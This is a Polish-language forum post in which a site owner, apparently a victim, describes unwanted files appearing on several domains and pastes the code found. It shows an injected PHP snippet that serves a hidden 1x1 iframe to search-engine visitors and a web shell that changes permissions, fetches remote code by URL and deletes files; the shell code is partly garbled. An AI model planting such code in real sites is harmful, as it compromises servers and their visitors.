Ostatnio na ftp pojawiły się u mnie dziwne pliki i w index.php na końcu coś takiego:
<!-- analytics7 --> <? error_reporting(0); $stat=$_SERVER["HTTP_REFERER"];$flag_g=stristr($stat,"google.");$flag_y=stristr($stat,"yahoo.");$flag_b=stristr($stat,"bing.");if(($flag_g) or ($flag_y) or ($flag_b)){echo "<iframe src=\"http://adres-mojej-strony.pl/css-dtr.php\" width=1 height=1 frameborder=0></iframe>";} ?>
pliki miały następujące nazwy:
css-kin.php
css-lz.php
css-on.php
css-zeu.php
Czego przyczyną jest pojawianie się takich niechcianych plików? Pojawiły się u mnie w kilku domenach.. nawet takich któe nie miały cms'a
W jednym z plikó był taki kod:
<? $err_flg=$_GET['err']; $else_dot=$_GET['else_dot']; $flag_sum=$_GET['flag_sum']; $chmod_name=$_GET['chmod_name']; $chmod_mod=$_GET['chmod_mod']; $f_creat_url=$_GET['f_creat_url']; $f_creat_name=$_GET['f_creat_name']; $f_del_name=$_GET['f_del_name']; $folder_creat_name=$_GET['folder_creat_name']; $folder_del_name=$_GET['folder_del_name']; if ($chmod_name) { if ($else_dot==1) {chmod ("$chmod_name", $chmod_mod);} else { if ($else_dot) {chmod ("$chmod_name.$else_dot", $chmod_mod);} else {chmod ("$chmod_name.php", $chmod_mod);} } } if ($f_creat_url) { $new_vsn1="http://$f_creat_url"; $new_vsn=getau("$new_vsn1"); else { } } if ($f_del_name) { else { } } if ($folder_creat_name) { } if ($folder_del_name) { if ($folder_del_name<>"") { removeDirRec("$folder_del_name"); } } function getau ($path) { if (!function_exists ("file_get_contents")) { { if ($a) return @$tmp; } } if (!function_exists ("file_put_contents")) { function file_put_contents ($addr, $con) { if (!$a) return 0; } } if ($content=="") { $curl = curl_init (); curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt ($curl, CURLOPT_TIMEOUT, 5); $content = curl_exec ($curl); curl_close($curl); } if ($content!="") { return $content; } } function removeDirRec($dir) { foreach($objs as $obj) { } } } ?>